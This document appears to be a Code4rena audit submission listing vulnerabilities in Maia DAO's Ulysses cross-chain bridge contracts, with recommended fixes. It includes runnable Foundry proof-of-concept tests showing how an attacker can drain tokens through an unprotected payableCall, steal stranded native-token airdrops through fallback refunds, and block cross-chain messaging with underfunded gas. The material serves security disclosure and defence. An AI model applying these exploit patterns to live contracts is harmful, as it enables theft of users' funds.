Maia DAO - Ulysses - 3docSec's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

VirtualAccount acts as a wallet that can be controlled by its owner via local or remote calls through the RootPort contract. This check is done via the requiresApprovedCaller modifier that is correctly applied to the call function, but not to the payableCall function.

Impact

The unprotected payableCall function can be called by a malicious user, allowing them to perform any action on behalf of the owner, including transferring any asset held via the VirtualAccount contract.

Proof of Concept

The following runnable foundry test shows how a malicious user is not allowed to steal an ERC-20 token held by the VirtualAccount using the call function, but is instead allowed to do so via the payableCall function.

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "src/VirtualAccount.sol";
import "./ulysses-omnichain/mocks/WETH9.sol";

contract VirtualAccountPoc is Test {
    function testPayableCallPermission() public {
        address owner = address(uint160(uint256(keccak256("owner"))));
        address hacker = address(uint160(uint256(keccak256("hacker"))));

        WETH9 token = new WETH9();
        token.deposit{value: 1 ether}();

        VirtualAccount va = new VirtualAccount(owner, address(new MockRootPort()));
        token.transfer(address(va), 1 ether);


        Call[] memory calls = new Call[](1);
        calls[0] = Call(address(token), 
            abi.encodeWithSelector(WETH9.transfer.selector, hacker, 1 ether));

        // call correctly fails
        vm.startPrank(hacker);
        vm.expectRevert();
        va.call(calls);

        // an equivalent payableCall allows hacker to drain funds
        PayableCall[] memory pCalls = new PayableCall[](1);
        pCalls[0] = PayableCall(calls[0].target, calls[0].callData, 0);
        va.payableCall(pCalls);

        assertEq(1 ether, token.balanceOf(hacker));
    }
}


contract MockRootPort {
    // returns always false: the attacker walks the front door
    function isRouterApproved(address, address) external pure returns (bool alwaysFalse){}
}

Tools Used

Code review, Foundry

Recommended Mitigation Steps

Add the requiresApprovedCaller modifier to the payableCall function of VirtualAccount:

    // VirtualAccount.sol:84

    /// @inheritdoc IVirtualAccount
-    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
+    function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L713 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L164 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L188 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L255 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L288 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L344 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L377 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L432 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L465

Vulnerability details

The LayerZero has in place a mechanism for refunding extra native tokens provided to their endpoint's send method that relies on the caller (bridge agent contracts in this case) providing a refund address.

The refundee addresses provided the multipla instances of send calls in BranchBridgeAgent and RootBridgeAgent seem sound, except for a few that are problematic.

1. Within the BranchBridgeAgent.retrieveDeposit use case, both messages (retrieve deposit and fallback) are refunded to the retrieveDeposit caller (msg.sender). While this is correct on the branch chain, on the root chain it may not.
2. Within the MulticallRootRouter's multicallSingleOutput and multicallMultipleOutput (signed), native tokens are refunded in the root chain to the owner of the virtual account. While this address is valid on the branch chain that originally created the virtual address, on the root chain it may not.
3. Within the MulticallRootRouter's multicallSingleOutput and multicallMultipleOutput (unsigned), native tokens are refunded in the root chain to the output recipient. While this address can be assumed to be valid on the branch chain where the output is directed, on the root chain it may not.

For example, if the refundee is a contract that is not deployed on the Arbitrum chain, and it will not be i.e. because its creator has already used the nonce that could deploy at its same address, the refund native tokens are lost.

Impact

Users who can't sign transactions from the same address on the branch and root chain may end up overpaying thir calls.

Proof of Concept

The following runnable (foundry) PoC shows how the root chain endpoint sends tokens to an address (contractUser) that is guaranteed to be valid only on the branch chain, proving the impact on the first scenario:

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import {BranchBridgeAgent} from "src/BranchBridgeAgent.sol";
import {BranchPort} from "src/BranchPort.sol";
import {RootBridgeAgent} from "src/RootBridgeAgent.sol";
import {GasParams, DepositInput} from "src/interfaces/BridgeAgentStructs.sol";

// as taken from here:
// https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/mocks/LZEndpointMock.sol
import {LZEndpointMock} from "./ulysses-omnichain/mocks/LZEndpointMock.sol";

contract FallbackRefundLost is Test {
    function testLostFallbackRefund() public {
        uint16 rootChainId = 9;
        uint16 branchChainId = 10;

        // simulate a real L0 bridge in between
        LZEndpointMock rootLzEndpoint = new LZEndpointMock(rootChainId);
        LZEndpointMock branchLzEndpoint = new LZEndpointMock(branchChainId);

        RootBridgeAgent rba = new RootBridgeAgent(
            rootChainId,             // localChainId
            address(rootLzEndpoint), // _lzEndpointAddress
            address(this),           // _localPortAddress
            address(this)            // _localRouterAddress
        );

        BranchPort bp = new BranchPort(address(this));

        BranchBridgeAgent bba = new BranchBridgeAgent(
            rootChainId,               // _rootChainId
            branchChainId,             // _localChainId
            address(rba),              // _rootBridgeAgentAddress
            address(branchLzEndpoint), // _lzEndpointAddress
            address(this),             // _localRouterAddress
            address(bp)                // _localPortAddress
        );

        bp.initialize(address(this), address(this));
        bp.addBridgeAgent(address(bba));

        branchLzEndpoint.setDestLzEndpoint(address(rba), address(rootLzEndpoint));

        // BranchBridgeAgent knows already the address of RootBridgeAgent from its construction,
        // here we tell RootBridgeAgent where BranchBridgeAgent is 
        // (we set rba instead of bba to work around a separately-reported issue)
        rba.syncBranchBridgeAgent(address(rba), branchChainId);
        rootLzEndpoint.setDestLzEndpoint(address(rba), address(branchLzEndpoint));
        
        uint256 price1 = 11552299000000000;
        uint256 price2 = 28822645511000000;

        // we set up a contract on the branch chain, imagining it does not exist on the root chain
        // and we monitor whether it receives funds on the root chain 
        // (that is, from the root L0 endpoint)
        ReceiveLogger contractUser = new ReceiveLogger();
        vm.deal(address(contractUser), price1 + price2);

        vm.startPrank(address(contractUser));

        // configuration is only partial
        // so execution fails remotely
        bba.callOutAndBridge{value: price1}(
            payable(address(contractUser)), // _refundee
            "",                             // _params,
            DepositInput(
                address(0),
                address(0),
                0,
                0
            ),                   // _dParams,
            GasParams(50_000, 0) // _gParams - we don't really need anything to happen remotely
        );

        
        uint256 extra = 10e6;
        uint256 price3 = 13201155000000000;

        // then we set the deposit up for redemption
        bba.retrieveDeposit{value: price2}(
            bba.depositNonce() - 1, 
            GasParams(300_000, price3 + extra)
        );

        // ah ha! our contract received a refund from the root endpoint!
        // in a truly multi-chain operation, these funds would be lost
        assertTrue(contractUser.didReceiveFrom(address(rootLzEndpoint)));
        assertEq(extra, address(contractUser).balance);
    }
}

contract ReceiveLogger {
    mapping(address sender => bool didReceive) public didReceiveFrom;

    receive() payable external {
        didReceiveFrom[msg.sender] = true;
    }
}

Tools Used

Code review, Foundry

Recommended Mitigation Steps

Possible options would be:

• on Arbitrum, to refund VirtualAccounts instead of plain addresses, so users can always access these funds, in the worst case via remote calls
• adding a "remote refundee parameter" to the retrieveDeposit call

or, more accurately:

• extend GasParams to include the address for native tokens refundees, so the refundee can be different at every hop
• adding a proper GasParams argument to the fallback calls too

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L423 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L940 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L578 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L787

Vulnerability details

The RootBridgeAgent and BranchBridgeAgent contracts can receive native tokens via LayerZero airdrop to fund message handling operations i.e. sending follow-up messages via LayerZero.

However, these native tokens are not properly accounted for when the message they come with does not fully spend them, for example in case of a failure:

    // RootBridgeAgent:423
    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        (bool success,) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        );

        // @audit when success is false, the contract's balance may not be zero and can be stolen

        if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
    }

When this happens, RootBridgeAgent and BranchBridgeAgent end up holding a balance in native tokens, that can be drained via subsequent operations i.e. the fallback message that is funded with the full contract's balance:

    // RootBridgeAgent:938
    function _performFallbackCall(address payable _refundee, uint32 _depositNonce, uint16 _dstChainId) internal {
        //Sends message to LayerZero messaging layer
        ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}(
            _dstChainId,
            getBranchBridgeAgentPath[_dstChainId],
            abi.encodePacked(bytes1(0x04), _depositNonce),
            payable(_refundee),
            address(0),
            ""
        );
    }

Impact

Whenever a multi-hop message fails to be executed on RootBridgeAgent or BranchBridgeAgent, the native tokens that were sent to fund subsequent hops remain locked on the RootBridgeAgent and BranchBridgeAgent contracts and can be stolen, for example via a fallback message triggered by a remote "retrieveDeposit" or "retrieveSettlement" call.

This attack can be especially advantageous economically when the failed transaction is a multi-hop targeting networks with relatively expensive gas and bridging fees, so the trapped balance is significant, and the native tokens are stolen via a path crossing less-expensive networks.

Proof of Concept

The following runnable (foundry) PoC shows how the native tokens sent to fund a transaction that failed on RootBridgeAgent can be stolen through the refund of a fallback call:

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import {BranchBridgeAgent} from "src/BranchBridgeAgent.sol";
import {BranchPort} from "src/BranchPort.sol";
import {RootBridgeAgent} from "src/RootBridgeAgent.sol";
import {GasParams, DepositInput} from "src/interfaces/BridgeAgentStructs.sol";

// as taken from here:
// https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/mocks/LZEndpointMock.sol
import {LZEndpointMock} from "./ulysses-omnichain/mocks/LZEndpointMock.sol";

contract AirdropTheft is Test {
    function testStolenAirdrop() public {
        uint16 rootChainId = 9;
        uint16 branchChainId = 10;

        // simulate a real L0 bridge in between
        LZEndpointMock rootLzEndpoint = new LZEndpointMock(rootChainId);
        LZEndpointMock branchLzEndpoint = new LZEndpointMock(branchChainId);

        RootBridgeAgent rba = new RootBridgeAgent(
            rootChainId,             // localChainId
            address(rootLzEndpoint), // _lzEndpointAddress
            address(this),           // _localPortAddress
            address(this)            // _localRouterAddress
        );

        BranchPort bp = new BranchPort(address(this));

        BranchBridgeAgent bba = new BranchBridgeAgent(
            rootChainId,               // _rootChainId
            branchChainId,             // _localChainId
            address(rba),              // _rootBridgeAgentAddress
            address(branchLzEndpoint), // _lzEndpointAddress
            address(this),             // _localRouterAddress
            address(bp)                // _localPortAddress
        );

        bp.initialize(address(this), address(this));
        bp.addBridgeAgent(address(bba));

        branchLzEndpoint.setDestLzEndpoint(address(rba), address(rootLzEndpoint));

        // BranchBridgeAgent knows already the address of RootBridgeAgent from its construction,
        // here we tell RootBridgeAgent where BranchBridgeAgent is 
        // (we set rba instead of bba to work around a separately-reported issue)
        rba.syncBranchBridgeAgent(address(rba), branchChainId);
        rootLzEndpoint.setDestLzEndpoint(address(rba), address(branchLzEndpoint));
        
        // we send a message to the root agent with an airdropped amount;
        // this is the prize for the hackers 💰
        uint256 airdropAmount = 1e18;

        // configuration is only partial
        // so execution fails remotely
        bba.callOut{value: 1122001155000000000}(
            payable(address(this)), // _refundee
            "", // _params
            GasParams(1_000_000, airdropAmount) // _gParams
        );

        // the airdropped amount is held in the destination contract's balance
        assertEq(address(rba).balance, airdropAmount);

        // ... and can be stolen through the fallback of a cheap retrieveDeposit call
        address hacker = address(uint160(uint256(keccak256("hacker"))));
        vm.label(hacker, "hacker");

        uint256 price1 = 11552299000000000;
        uint256 price2 = 28822645500000000;
        uint256 price3 = 13201155000000000;
        vm.deal(hacker, price1 + price2);
        vm.startPrank(hacker);

        // we first make a fake deposit: anything with buggy _params will do
        bba.callOutAndBridge{value: price1}(
            payable(hacker),    // _refundee
            "",                 // _params,
            DepositInput(
                address(0),
                address(0),
                0,
                0
            ),                  // _dParams,
            GasParams(50_000, 0) // _gParams - we don't really need anything to happen remotely
        );

        // then we redeem it; the fallback sends the jackpot on a remote address
        bba.retrieveDeposit{value: price2}(
            bba.depositNonce() - 1, 
            GasParams(300_000, price3)
        );

        // the hacker got the prize 💸
        assertEq(address(hacker).balance, airdropAmount);
    }
}

Tools Used

Code review, Foundry

Recommended Mitigation Steps

For how LayerZero works - sending value and separately calling lzReceive, the straightforward fix of using msg.value instead of address(this).balance is not viable.

Two mitigations could help:

• to prevent any balance left over on the agent contracts at all, consider moving the remote refundee to a header that can be parsed by lzReceive to refund any balance left over after a failure:

    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        (bool success,) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        );

        address refundee = address(_payload[:20]);
        if (refundee != address(0)) {
            // @audit this, too, most likely needs an excessivelySafeCall wrapper
            payable(refundee).transfer(address(this).balance);
        }

        if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
    }

• to prevent theft, consider avoiding the usage of address(this).balance, and instead adding a dedicated address refundee parameter to the GasParams structure. This would also solve an issue reported separately that has to do with refundees not being viable on all chains.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L776 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L829 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L921

Vulnerability details

By design, LayerZero stops delivering messages when a lzReceive call reverts to guarantee message ordering. The project protects from such scenario via the recommended non-blocking approach of the excessivelySafeCall self-call that does not revert on failures:

    // BranchBridgeAgent:L578
    function lzReceive(uint16, bytes calldata _srcAddress, uint64, bytes calldata _payload) public override {
        address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload)
        );
    }

This approach is however still vulnerable to failures happening before the excessivelySafeCall library enters into play, most notably out-of-gas errors.

As a consequence, messages that don't have enough gas to reach the lzReceiveNonBlocking protected scope will revert, remain in STORED status in the destination LayerZero endpoint, and prevent further messages from being received.

Impact

Any user can use a source BranchBridgeAgent or RootBridgeAgent to send a cross-chain message that is under-funded in remote gas, either unintentionally or with a malicious intent.

This message will fail execution on the remote chain and consequently block the delivery of further messages from the same source agent to the original target chain.

This will temporarily block the message (and funds) flow between the chains, until an actor intervenes by calling the LzEndpoint.retryPayload function at their own expense in gas.

Proof of Concept

The issue can be simply reproduced by making any LayerZero-backed call on the agents with i.e. 10_000 gas.

The following runnable PoC in Foundry shows this scenario:

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import {BranchBridgeAgent} from "src/BranchBridgeAgent.sol";
import {RootBridgeAgent} from "src/RootBridgeAgent.sol";
import {GasParams} from "src/interfaces/BridgeAgentStructs.sol";

// as taken from here:
// https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/mocks/LZEndpointMock.sol
import {LZEndpointMock} from "./ulysses-omnichain/mocks/LZEndpointMock.sol";

contract LowGasBlockPoc is Test {
    function testIncorrectValidation() public {
        uint16 rootChainId = 9;
        uint16 branchChainId = 10;

        // simulate a real L0 bridge in between
        LZEndpointMock rootLzEndpoint = new LZEndpointMock(rootChainId);
        LZEndpointMock branchLzEndpoint = new LZEndpointMock(branchChainId);

        RootBridgeAgent rba = new RootBridgeAgent(
            rootChainId,             // localChainId
            address(rootLzEndpoint), // _lzEndpointAddress
            address(this),           // _localPortAddress
            address(this)            // _localRouterAddress
        );

        BranchBridgeAgent bba = new BranchBridgeAgent(
            rootChainId,               // _rootChainId
            branchChainId,             // _localChainId
            address(rba),              // _rootBridgeAgentAddress
            address(branchLzEndpoint), // _lzEndpointAddress
            address(this),             // _localRouterAddress
            address(this)              // _localPortAddress
        );

        // BranchBridgeAgent knows already the address of RootBridgeAgent from its construction,
        // here we tell RootBridgeAgent where BranchBridgeAgent is
        rba.syncBranchBridgeAgent(address(bba), branchChainId);

        rootLzEndpoint.setDestLzEndpoint(address(bba), address(branchLzEndpoint));
        branchLzEndpoint.setDestLzEndpoint(address(rba), address(rootLzEndpoint));

        GasParams[2] memory gParams;
        // too little gas to enter the excessivelySafeCall scope,
        // but enough for LayerZero to accept the message
        gParams[0] = GasParams(10_000, 0);
        bba.retrySettlement{value: 11113223000000000}(0, "", gParams, false);

        // message in STORED state -> communication is blocked
        assertTrue(rootLzEndpoint.hasStoredPayload(
            branchChainId, 
            abi.encodePacked(address(bba), address(rba))));
    }
}

Tools Used

Code review, Foundry

Recommended Mitigation Steps

1. The most important mitigation is to enforce a minimum amount of remote gas within all agents' LayerZero calls, enough to be sure of always entering the excessivelySafeCall scope; this should be sufficient to resolve the impact on protocol availability
2. The team may consider to go one step forward by implementing the best-practice recommendation from the LayerZero team of keeping and enforcing on-chain minimum gas requirement per each cross-chain operation: in addition to fully mitigating this finding, this change would also improve the UX by minimizing the need for the redeem/retry logic at all, at least for low-gas failures in one-hop operations. This may be however challenging to do given the extensibility of the protocol.
3. Less important, but possibly useful, would be to implement the forceResumeReceive function within the agents. This would significantly streamline the resolution of communication problems if anything goes wrong, and is a best practice recommended by the LayerZero team.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1212 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L943

Vulnerability details

When bridge agent contracts communicate through the LayerZero endpoint, the source contract encodes the _destination parameter of the ILayerZeroEndpoint.send call by concatenating the destination address (first) and the source address (second):

   // BranchBridgeAgent.sol:142
   rootBridgeAgentPath = abi.encodePacked(_rootBridgeAgentAddress, address(this)); 

   // BranchBridgeAgent.sol:770
   ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
            rootChainId,
            rootBridgeAgentPath,
            _payload,
            payable(_refundee),
            address(0),
            abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)
        );

    // RootBridgeAgent.sol:1182
    getBranchBridgeAgentPath[_branchChainId] = abi.encodePacked(_newBranchBridgeAgent, address(this));

    // RootBridgeAgent.sol:823
    ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
        _dstChainId,
        getBranchBridgeAgentPath[_dstChainId],
        _payload,
        _refundee,
        address(0),
        abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, callee)
    );

When the message is received on the destination chain, the destination agent validates that the sending address is correct after decoding it from the last 20 bytes of the _srcAddress parameter in the ILayerZeroReceiver.lzReceive call:

    // RootBridgeAgent.sol:1212
    if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
        revert LayerZeroUnauthorizedCaller();
    }

    // BranchBridgeAgent.sol:943
    if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller();

This byte selection is however incorrect, because when calls pass by actual LayerZero logic the _srcAddress in lzReceive is not equal to the _destination passed to send.

In a real-world scenario, by looking up the last bytes of _srcAddress, the destination agent will always extract its own address instead of the remote source contract's and the validation this address maps to a valid sender on the source chain will consequently always fail.

Impact

Since the faulty logic is a single entry point for communication between chains, it is also a single point of failure, so this vulnerability effectively shuts down the whole branch-to-root and root-to-branch inter-chain communication.

An example high-severity impact scenario is: if after the contracts are deployed any tokens are added and bridged (i.e. out of a branch chain), these will remain permanently locked in the source chain's BranchPort as this vulnerability does not prevent the source operations from completing. The tokens will not be recoverable because:

• the bridged messages will revert in the destination (root) chain, failing to mint any hToken there that could later be bridged back to rescue the original assets
• the retrieve/redeem/retry logic in place for unlocking funds after remote errors would not be a viable way out because it depends on the faulty cross-chain channel too

Proof of Concept

This vulnerability can be verified by instantiating a BranchBridgeAgent and a RootBridgeAgent contract and connecting them via LayerZero's mock endpoint.

This mock, much like the productive endpoint, inverts the order of the bytes in _destination and _srcAddress (relevant code below), effectively breaking the assumption that these are equal and enabling the reproduction of the issue:

    // LzEndpointMock.sol:113
    function send(uint16 _chainId, bytes memory _path, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes memory _adapterParams) external payable override sendNonReentrant {
        require(_path.length == 40, "LayerZeroMock: incorrect remote address size"); // only support evm chains

        address dstAddr;
        assembly {
            dstAddr := mload(add(_path, 20))
        }

        // LzEndpointMock:148
        bytes memory srcUaAddress = abi.encodePacked(msg.sender, dstAddr); // cast this address to bytes
        bytes memory payload = _payload;
        LZEndpointMock(lzEndpoint).receivePayload(mockChainId, srcUaAddress, dstAddr, nonce, extraGas, payload);
    }

A full runnable foundry test showing the failure in an integrated scenario is below:

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import {BranchBridgeAgent} from "src/BranchBridgeAgent.sol";
import {RootBridgeAgent} from "src/RootBridgeAgent.sol";
import {GasParams} from "src/interfaces/BridgeAgentStructs.sol";

// as taken from here:
// https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/mocks/LZEndpointMock.sol
import {LZEndpointMock} from "./ulysses-omnichain/mocks/LZEndpointMock.sol";

contract SourceAddrPoc is Test {
    function testIncorrectValidation() public {
        uint16 rootChainId = 9;
        uint16 branchChainId = 10;

        // simulate a real L0 bridge in between
        LZEndpointMock rootLzEndpoint = new LZEndpointMock(rootChainId);
        LZEndpointMock branchLzEndpoint = new LZEndpointMock(branchChainId);

        RootBridgeAgent rba = new RootBridgeAgent(
            rootChainId,             // localChainId
            address(rootLzEndpoint), // _lzEndpointAddress
            address(this),           // _localPortAddress
            address(this)            // _localRouterAddress
        );

        BranchBridgeAgent bba = new BranchBridgeAgent(
            rootChainId,               // _rootChainId
            branchChainId,             // _localChainId
            address(rba),              // _rootBridgeAgentAddress
            address(branchLzEndpoint), // _lzEndpointAddress
            address(this),             // _localRouterAddress
            address(this)              // _localPortAddress
        );

        // BranchBridgeAgent knows already the address of RootBridgeAgent from its construction,
        // here we tell RootBridgeAgent where BranchBridgeAgent is
        rba.syncBranchBridgeAgent(address(bba), branchChainId);

        rootLzEndpoint.setDestLzEndpoint(address(bba), address(branchLzEndpoint));
        branchLzEndpoint.setDestLzEndpoint(address(rba), address(rootLzEndpoint));

        // communication root -> branch is broken (incorrect src address validation in branch)
        // this triggeres a silently ignored "LayerZeroUnauthorizedCaller()" revert that can
        // be logged with -vvvv verbose testing:
        //
        //  ├─ [1393] BranchBridgeAgent::lzReceiveNonBlocking(...)
        //  │   └─ ← "LayerZeroUnauthorizedCaller()"
        //  └─ ← ()
        rba.callOut{value: 22001375000000000}(
            payable(address(this)), // _refundee
            address(this), // _recipient
            branchChainId, // _dstChainId,
            "", // _params
            GasParams(1_000_000, 0) // _gParams
        );

        // communication branch -> root is broken too (incorrect src address validation in root)
        // here, too, we have the same silently ignored error:
        //
        //    │   │   │   │   ├─ [3789] RootBridgeAgent::lzReceiveNonBlocking(..)
        //    │   │   │   │   │   └─ ← "LayerZeroUnauthorizedCaller()"
        //    │   │   │   │   └─ ← ()
        bba.callOut{value: 22001155000000000}(
            payable(address(this)), // _refundee
            "", // _params
            GasParams(1_000_000, 0) // _gParams
        );
    }
}

Tools Used

Code review, Foundry

Recommended Mitigation Steps

The following changes fix the inter-chain integration:

    // RootBridgeAgent.sol:1204
    modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual {
        if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();

        if (_endpoint != getBranchBridgeAgent[localChainId]) {
            if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint();

-            if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
+            if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[:PARAMS_ADDRESS_SIZE])))) {
                revert LayerZeroUnauthorizedCaller();
            }
        }
        _;
    }

    // BranchBridgeAgent.sol:936
    function _requiresEndpoint(address _endpoint, bytes calldata _srcAddress) internal view virtual {
        //Verify Endpoint
        if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();
        if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint();

        //Verify Remote Caller
        if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();
-        if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller();
+        if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[:20])))) revert LayerZeroUnauthorizedCaller();
    }

It is also recommended to add tests for agents in an integration scenario that leverages the LzEndpointMock.sol contract provided by the LayerZero team, who use it for their own testing.

Assessed type

en/de-code

[N-01] _remoteBranchExecutionGas is misleading

In several places, calls through LayerZero accept a "remoteBranchExecutionGas" parameter. This naming is misleading because it always refers to native airdropped amount, that always has to do more with bridging fees than with gas.

[N-02] BranchPort bridgeOut and bridgeOutMultiple can revert to arithmetic underflow

When briding out tokens, BranchPort checks the difference between the provided amount and deposit.

    uint256 _hTokenAmount = _amount - _deposit;

When deposit is bigger than amount, the bridgeOut and bridgeOutMultiple functions will revert due to underflow. Since this error is rechable by user-facing functions, consider adding a require statement with a proper error message.

[N-03] Named mappings in RootPort are misleading

Several mappings in RootPort have misleading variable names. Consider applying the following changes:

    // RootPort.sol:89
-    /// @notice ChainId -> Local Address -> Global Address
-    mapping(address chainId => mapping(uint256 localAddress => address globalAddress)) public getGlobalTokenFromLocal;
+    /// @notice Local Address -> ChainId -> Global Address
+    mapping(address localAddress => mapping(uint256 chainId => address globalAddress)) public getGlobalTokenFromLocal;

-    /// @notice ChainId -> Global Address -> Local Address
-    mapping(address chainId => mapping(uint256 globalAddress => address localAddress)) public getLocalTokenFromGlobal;
+    /// @notice Global Address -> ChainId -> Local Address
+    mapping(address globalAddress => mapping(uint256 chainId => address localAddress)) public getLocalTokenFromGlobal;

-    /// @notice ChainId -> Underlying Address -> Local Address
-    mapping(address chainId => mapping(uint256 underlyingAddress => address localAddress)) public
+    /// @notice Underlying Address -> ChainId -> Local Address
+    mapping(address underlyingAddress => mapping(uint256 chainId => address localAddress)) public
        getLocalTokenFromUnderlying;

    /// @notice Mapping from Local Address to Underlying Address.
-    mapping(address chainId => mapping(uint256 localAddress => address underlyingAddress)) public
+    mapping(address localAddress => mapping(uint256 chainId => address underlyingAddress)) public
        getUnderlyingTokenFromLocal;